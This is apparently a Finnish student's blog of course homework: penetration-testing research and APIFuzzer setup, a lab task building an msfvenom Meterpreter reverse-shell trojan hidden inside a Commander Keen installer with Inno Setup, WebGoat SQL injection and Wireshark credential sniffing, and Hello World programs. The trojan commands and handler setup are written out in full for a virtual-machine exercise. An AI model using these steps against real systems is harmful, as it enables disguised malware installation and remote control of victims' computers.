Tunkeutumistestaus: Akateeminen tutkimus ja Inno Setup

Tehtävä 1.

Tehtävässä on tarkoituksena etsiä ‘Google Scholar’ palvelusta tunkeutumistestausta käsitteleviä tuoreita tutkimuksia. Asetettuani palveluun tehtävänannossa määritetyt vaatimukset aloitin hakutulosten selaamisen. Pelkällä ‘Penetration Testing’ haulla tuloksia oli ihan liikaa ja liian suurelta skaalalta, että sieltä olisi mahdollista löytää tehokkaasti mitään erityisesti mielenkiintoista, joten päätin supistaa hakua. Koska olen nyt koko syksyn ajan työskennellyt ohjelmointiprojektissa, jossa omana vastuualueenani on ollut PHP:llä ohjelmoitu Ubuntu palvelimella pyörivä REST API, päätin kokeilla hakua ‘Penetration testing rest api’ ja tulokset olivat heti huomattavasti mielenkiintoisempia ja tarkemmin rajattuja.

Valitsin lähempään tarkkailuun raportin ‘REST-ler: Automatic Intelligent REST API fuzzing’ (V. Atlidakis, P. Godefroid, M. Polishchuk – 26.6.2018), joka käsitteli REST-ler nimistä työn alla olevaa ohjelmistoa, jolla voisi testata uusin tavoin ja automatisoidusti REST API -tyylisiä verkkopalveluita, jotka ovat lisääntyneet huomattavasti lähiaikoina kaikenlaisten pilvipalveluiden mukana. Valitettavasti itse REST-ler ohjelman lähdekoodeja ei ole ainakaan GitHubissa, tai muissa vastaavissa palveluissa tarjolla, mutta monet muut vastaavanlaiset ohjelmistot, joista REST-ler hakee mallia, tai joita se muuten hyödyntää, ovat saatavilla GitHubista.

Mikä on REST API palvelu? REST on lyhenne sanoista ‘Representational State Transfer’, ja tarkoittaa arkkitehtuurimallia, jossa verkossa toteutettaville palveluille haetaan lisää nopeutta ja keskinäistä harmoniaa hyödyntämällä yhteisiä standardisoituja protokollia ja operaatioita. API taas on lyhenne sanoista ‘Application Programming Interface’, eli rajapinta. REST APIt ovat siis standardisoituja palvelimilla toimivia yhtenäisiä rajapintoja, jotka usein toteuttavat tietokannan ja käyttöliittymän välillä CRUD (Create, Read, Update, Delete) HTTP metodeja.

Koska en pysty kokeilemaan REST-leriä, kokeilen seuraavaksi artikkelissa mainittua APIFuzzer ohjelmistoa, joka löytyy Githubista. Asensin APIFuzzerin GitHubin ohjeiden mukaan, mikä saattaa vaatia python-pip paketin lataamista paketinhallinnasta (sudo apt-get install python-pip). Minulla ei myöskään toiminut ohjeissa annettu pip2.7 install -r APIFuzzer/requirements.txt komento, mutta jättämällä sanan pip perästä numeron 2.7 pois ohjelma asentui oikein.

Asennus luo ohjelmalle uuden kansion. Tuon kansion sisällä komennolla python fuzzer.py -h avaat helpin. APIFuzzerin mukana tulee myös testiohjelma, jolla voit testata kaiken toimivan oikein. Kyseistä ohjelmaa varten tarvitset seuraavat python paketit:

Flask==1.0.2
pytest==3.6.3
pytest-cov==2.5.1
sphinx
sphinx_rtd_theme
werkzeug
#hae kaikki komennolla:
sudo apt-get install python-flask python-pytest python-pytest-cov python-sphinx python-sphinx-rtd-theme python-werkzeug -y

Tämän jälkeen voi aloittaa testiohjelman komennolla python test/test_application.py, joka aloittaa pienen REST palvelun toteuttamisen terminaalissa. Seuraavaksi siirryin toisessa terminaalissa samaan kansioon ja toteutin komennon python2.7 fuzzer.py -s test/test_swagger_definition.json -u http://localhost:5000/ -r /tmp/reports/, jonka pitäisi käynnistää fuzzer testi, mutta valitettavasti komento ei toiminut, koska test_swagger:_definition.json tiedostoa ei löytynyt, joten ohjelman testaaminen oli pakko päättää tähän, kunnes saan jostain itselleni REST API palvelun, jota saan testata, ja jossa on valmiina dokumentaatio, jonka pohjalta voin käyttää APIFuzzeria.

Tehtävä 2:

Koska REST palvelut, Raspberryt, Arduino, PHP ja tietokannat ovat tällä hetkellä työn alla olevan projektin kannalta tärkeitä, päätin seuraavaksi kokeilla hakua lauseella: penetration testing intext:rest intext:api intext:php intext:linux intext:server intext:raspberry intext:arduino, joka kuitenkin osoittautui ehkä hieman liian spesifiseksi:

Screenshot_2018-10-01_23-12-02

Kun poistin hausta Arduinon ja Raspberryn, jotka eivät kuitenkaan ole projektissa omaa vastuualuettani, sain paljon tehokkaammin informaatiota:

Screenshot_2018-10-01_23-16-34

Tehtävä 3:

Tehtävän tarkoituksena on luoda troijalainen hyökkäysohjelma, kuten viime viikon tehtävissä, mutta tällä kertaa se pitää myös paketoida Inno Setupilla. Aloitin tehtävän suorittamisen luomalla msfvenomilla yksinkertaisen hyökkäysohjelman komennolla: msfvenom -p windows/meterpreter/reverse_tcp lhost=//IPOSOITE// lport=9999 -e x86/shikata_ga_nai -f exe -o /home/robs/public_html/THIS_IS_MALWARE.exe. Seuraavaksi asetin metasploitin kuuntelemaan porttia 9999 ja ilmoitusta, että uhri on käynnistänyt ohjelman.

sudo msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST //IPOSOITE//
set LPORT 9999
run

Siirsin THIS_IS_MALWARE.exe tiedoston windowsin puolelle, jossa suljin defenderin pois päältä, jotta se ei tuhoaisi .exe tiedostoa. Nopealla testillä haittaohjelma toimi oikein ja loi minulle Kalin puolelle Meterpreter Shellin.

Seuraavaksi latasin verkosta Inno Setupin ja asensin sen koneelle.  Seuraavaksi latasin abandonwaresivustolta (ja tosiaan teen tämän virtuaalikoneella, en oikeassa windows asennuksessani) Commander Keenin, unzippasin sen ja nimesin hyökkäystiedostoni setup.exe:ksi. Inno Setupin “Next”-sulkeisten jälkeen sain lopulta luotua Commander Keen zipin ja oman exeni pohjalta ‘Commander_Keen_6_(CONTAINS_MALWARE).exe’ asennustiedoston, joka asentaisi Keenin koneelle, mutta asettaisi pakettiin mukaan ylimääräisen setup tiedoston, joka käynnistää meterpreter shellin.

Olisin kuitenkin voinut testata ladatun Commander Keenin toimivuuden, sillä purettu .zip oli itseasiassa asennustiedosto, eikä jo valmiiksi purettu peli, eli käytännössä loin installerin, joka sisälsi toisen installerin ja epämääräisen setup.exe tiedoston, joka oikein huusi olevansa malware. “Yo, I heard you like to click Next so I put your installer inside an installer jne…”.

Tehtävä 4:

Koska en ollut flunssan takia edellisellä luennolla mukana, en ollut missään pareihin jakautumisessa mukana, joten en oikein voi näitä paritehtäviä tehdä, mutta etsin silti kokeeksi itsestäni tietoa hakukoneilla (google, duckduckgo) ja tehtävänannossa mainituilla työkaluilla.
Monet weppipalveluista eivät ainakaan tuntuneet olevan erityisen tehokkaita, tai olen osannut maskeerata itseni hyvin, koska valtaosa löydöistä olivat joko omasta blogistani tai terokarvinen.com:sta kouluhommia, tai sivutoimisiin dj-keikkoihini liittyvää markkinointia. Toisaalta löysin myös todella vanhoja foorumipostauksia vusien takaa (2005-2007), mutta pian kyseisen aikajanan jälkeen kaikki informaatio facebookia lukuunottamatta katoaa melkein kymmeneksi vuodeksi.

LINKIT:

http://terokarvinen.com/2018/penetration-testing-course-autumn-2018
https://arxiv.org/pdf/1806.09739.pdf
https://en.wikipedia.org/wiki/Representational_state_transfer
https://fuzzing-project.org/
https://github.com/KissPeter/APIFuzzer
http://jrsoftware.org/isinfo.php
http://www.abandonia.com/

Advertisements

Tunkeutumistestaus: OWASP10 testausta.

Aloitin Haaga-Heliassa tunkeutumistestauskurssin, johon liittyvät tehtävät lisään tänne blogiin. Ensimmäisen luennon aiheena oli mm. OWASP Top 10 ja luennon kotitehtävinä oli tutustua tarkemmin listan haavoittuvuuksiin. Testaan näitä haavoittuvuuksia OWASP WebGoat sovelluksella, joka löytyy Githubista täältä. Latasin Github sivulta uusimmat lähdekoodit ja valmiin .jar paketin uusimman version.

Minulla on tehtäviä varten käytössä Xubuntu 18.04LST. Seuraavaksi asensin koneelle Mavenin, JRE:n (Java Runtime Enviroment) ja JDK:n (Java Development Kit) paketinhallinnasta komennoilla:

cd
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install default-jre
sudo apt-get install default-jdk
sudo apt-get install maven
#tarkista ovatko jre ja jdk asentuneet oikein ja onko sinulla oikea versio:
java -version
javac -version
cd Downloads

(Lopulta en todennäköisesti olisi edes tarvinnut Mavenia, sillä suoritin tehtävät pelkällä .jar:lla).

Käynnistä ladattu WebGoat sovellus terminaalista komennolla java -jar webgoat-server-8.0.0.M21.jar. Tämä komento ei kuitenkaan toiminut ja (todella pitkässä) virheviestissä ongelma sijaitsi EntityManagerFactoryssä. Lisäämällä java.xml.bind moduulin komentoon mukaan sai WebGoatin lopulta toimimaan, eli: java --add-modules java.xml.bind -jar webgoat-server-8.0.0.M21.jar. Kun olet saanut WebGoat palvelimen päälle pääset käyttämään sitä tästä URLista.

WebGoat aloitussivu:

owasp10 kuva 1

Loin itselleni käyttäjätilin, joka ei luonnollisesti käyttänyt mitään aikaisemmin käyttämiäni nimiä tai salasanoja ja kirjauduin sisään. Aloitan OWASP10 harjoitukset mielestäni yksinkertaisimmalla ja tutuimmalla kohdalla, eli SQL Injektiolla.

SQL-Injektio:

owasp10 kuva 2

Tehtävässä on siis tarkoitus saada koko tietokanta esille lisäämällä SQL koodia hakukenttään. Lisäämällä kenttään rivin Smith' OR '1' = '1 sain nopeasti koko tietokannan sisällön esille. Sivustolle ohjelmoitu SQL haku näyttää tältä: "select * from users where LAST_NAME = ‘" + userName + "'"; johon userName muuttuja haetaan hakukentästä. Niinpä lisäämällä vastausrivimme kyseinen SQL lause muuttuu muotoon: select * from user where LAST_NAME = 'Smith' OR '1' = '1'. Niinpä tämä haku käy läpi kaikki user taulun oliot ja tekee jokaisen kohdalla testin onko käyttäjän nimi Smith tai 1=1. Koska 1=1 on automaattinen tosilause hakee SQL lause koko tietokannan.

Rikkinäinen autentikaatio

Seuraavaksi siirrymme hyväksikäyttämään huonosti ohjelmoituja ja rikkinäisiä autentikaatiojärjestelmiä. Tarvitsemme siihen uuden työkalun, eli Wiresharkin. Asenna se seuraavilla komennoilla:

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install wireshark-qt

Tässä tehtäväkuvaus WebGoatista:

owasp10 kuva 3Kun olet saanut wiresharkin päälle valitse capture filteriksi ‘loopback :Io’, eli localhostissa tapahtuva verkkoliikenne. Wireshark aloittaa tällöin loopback:Io osoitteen pakettien tarkkailun. Klikkaa tehtävän ohjeiden mukaan ‘Log In’ painiketta ja käy pysäyttämässä wiresharkin tarkkailu punaisesta painikkeesta. Tämän jälkeen on helppo paikantaa ‘Log In’ painiketta seurannut paketti ja purkaa sen sisällöstä käyttäjänimi ja salasana.

owasp10 kuva 4.jpg

Näin saamme tilin käyttäjänimeksi “CaptainJack” ja salasanaksi “BlackPearl”.

Linkit:

Kurssin infot ja tehtävänanto
OWASP
WebGoat Github
SQL Injektio W3Schoolsissa
Wireshark

 Toinen tehtäväesimerkki jota käytin apuna Wiresharkin kanssa (Kiitos!)

Linux palvelimet: Automaatio ja ohjelmointiympäristöt.

Kirjoita ja suorita “Hello World” kolmella eri kielellä.


1) Python 3:

Aloitamme ohjelmoinnin luomalla kansion Python koodeja varten ja tarkistamme linuxin päivitykset:

cd
mkdir -p Koodit/Python
cd Koodit/Python
sudo apt-get update
sudo apt-get upgrade

Seuraavaksi luomme tiedoston jonne kirjoitamme koodin:

nano hello.py
print("Hello World!")

Pythonissa print() on valmis metodi, joka kirjoittaa parametrikseen asetetun numeron tai stringin IDE:n konsoliin tai Linux terminaaliin.

Tallenna ja poistu nanosta Ctrl-x:llä. Kun Nano kysyy haluatko tallentaa valitse y. Seuraavaksi testaamme koodin komennolla python3 hello.py. Tämä tuottaa terminaaliin tekstin “Hello World!”. Koodi toimii.


2) C++:

Aloitamme taas luomalla kansion C++ koodeja varten:

cd
mkdir -p Koodit/C++
cd Koodit/C++

Seuraavaksi luomma tiedoston ja koodin:

nano hello.cc
#include 
using namespace std;

int main () {
  cout << "\nHello World!\n\n";
  return 0;
}

Koodissa ensimmäisellä rivillä ilmoitamme, että käytämme C/C++/yms kielien input/output streamia, johon kuuluvat esim cin ja cout komennot. Toisella rivillä ilmoitamme, että käytämme standardi namespacea, josta käyttämämme cout komento löytyy iostreamista.
Seuraavaksi siirrymme itse ohjelmaan. Jokainen C ohjelma alkaa main() metodilla, jonka palautusarvona on int. Metodin sisällä meillä on cout << komento ja sille “Hello World!” string. cout toimii samalla tavalla kuin pythonin print, eli kirjoittaa terminaaliin parametristringin. Lopulta katkaisemme main() metodin palauttamalla nollan.

Seuraavaksi tarkistamme, että linuxistamme löytyy g++ C compiler:

whereis c++
#Tulos:
c++: /usr/bin/c++ /usr/include/c++ /usr/share/man/man1/c++.1.gz

which c++
#Tulos:
/usr/bin/c++

dpkg -l | grep g++
#Tulos:
ii g++                                   4:5.3.1-1ubuntu1
       amd64        GNU C++ compiler
ii g++-5                                 5.4.0-6ubuntu1~16.04.9
       amd64        GNU C++ compiler

Tämä tarkoittaa, että C compiler on kunnossa. Seuraavaksi rakennamme koodistamme a.out tiedoston, nimeämme sen uudelleen ja testaamme sen toiminnan:

c++ hello.cc
ls
mv a.out hello
./hello

Tämä tuottaa terminaaliin tekstin “Hello World!”. Koodi toimii.


3) Assembly:

Tämä assembly koodi on tarkoitettu 64-bittisille linux järjestelmille ja Intel prosessoreille eikä mahdollisesti toimi muissa järjestelmissä ilman emulaattoreita tai virtuaalikoneita. Aloitamme luomalla kansion Assembly projekteille ja asennamme Nasm compilerin paketinhallinnasta.

cd
mkdir -p Koodit/Asm
cd Koodit/Asm
sudo apt-get install nasm

Seuraavaksi luomme .asm tiedoston ja kirjoitamme sinne assemblykoodin. Kannattaa verrata hello.asm tiedostoa edellisen tehtävän hello.cc tiedostoon niin näet kuinka Assembly poikkeaa C++:sta, tai lähes mistä tahansa High-Level kielestä:

nano hello.asm
section .data
    msg db      "Hello World!"

section .text
    global _start

_start:
    mov     rax, 1
    mov     rdi, 1
    mov     rsi, msg
    mov     rdx, 13
    syscall
    mov    rax, 60
    mov    rdi, 0
    syscall

Kahdella ensimmäisellä koodirivillä luomme .data sektion, jonka sisään lisäämme stringin “Hello World!”. Voimme käyttää tätä sektiota nyt muualla koodissa kutsumalla sitä “msg” kutsulla. Seuraavaksi luomme sektion .text, joka sisältää komennon _start, joka käynnistää itse ohjelman. _start komennon sisällä meillä on sarja mov ja syscall komentoja. Mov komento siirtää dataa prosessorin muistin rekisteristä toiseen, tai luo sinne dataa. Koodissa luomme aluksi rax rekisterissä pohjan syscall toiminnolle, lisäämme syscalliin tarvittavat kolme parametriä, joista keskimmäinen on “Hello World!” viestimme ja suoritamme syscallin, joka antaa prosessorille ohjeen suorittaa jokin toiminto. Lopuksi lähetämme syscalliin käskyn lopettaa käynnissä oleva operaatio ja suoritamme uuden syscallin.

Seuraavaksi rakennamme koodista ohjelman nasm compilerilla ja suoritamme sen:

nasm -f elf64 -o hello.o hello.asm
ld -o hello hello.o
./hello

Terminaaliin ilmestyy teksti “Hello World!”. Koodi toimii.


LINKIT:
Tehtävänannot
https://www.python.org/doc/
http://www.cplusplus.com/doc/tutorial/
https://en.wikipedia.org/wiki/Assembly_language
http://0xax.blogspot.fi/2014/08/say-hello-to-x64-assembly-part-1.html